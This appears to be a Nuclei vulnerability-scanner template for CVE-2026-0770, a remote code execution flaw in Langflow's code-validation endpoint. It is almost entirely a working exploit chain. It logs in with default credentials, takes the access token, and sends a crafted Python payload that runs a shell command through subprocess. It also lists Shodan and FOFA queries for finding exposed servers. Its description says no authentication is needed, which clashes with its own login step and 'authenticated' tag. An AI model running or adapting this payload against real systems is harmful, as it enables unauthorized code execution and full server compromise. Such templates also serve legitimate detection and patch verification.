id: CVE-2026-0770 info: name: Langflow < 1.3.0 - Remote Code Execution via validate_code() exec() author: affix severity: critical description: | Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication. impact: | Remote attackers can execute arbitrary code as root, leading to full system compromise. remediation: | Update to the latest version of Langflow. reference: - https://github.com/affix/CVE-2026-0770-PoC - https://github.com/langflow-ai/langflow - https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-0770 cwe-id: CWE-94 metadata: verified: true max-request: 2 fofa-query: title="Langflow" shodan-query: title:"Langflow" tags: cve,cve2026,langflow,rce,authenticated,vuln,kev,vkev variables: username: "langflow" password: "langflow" flow: http(1) && http(2) http: - raw: - | POST /api/v1/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}} matchers-condition: and matchers: - type: word words: - "access_token" - "token_type" condition: and internal: true - type: word part: content_type words: - "application/json" internal: true - type: status status: - 200 internal: true extractors: - type: regex name: token part: body group: 1 internal: true regex: - '"access_token"\s*:\s*"([^"]+)"' - raw: - | POST /api/v1/validate/code HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{token}} {"code":"\ndef exploit(\n _=( lambda r: (_ for _ in ()).throw(Exception(f\"OUTPUT:\\n{r.stdout}{r.stderr}\")) )(\n __import__('subprocess').run('id', shell=True, capture_output=True, text=True)\n )\n):\n pass\n"} matchers-condition: and matchers: - type: regex part: body regex: - "uid=\\d+\\(.*\\)\\s*gid=\\d+" - type: word part: content_type words: - "application/json" - type: status status: - 200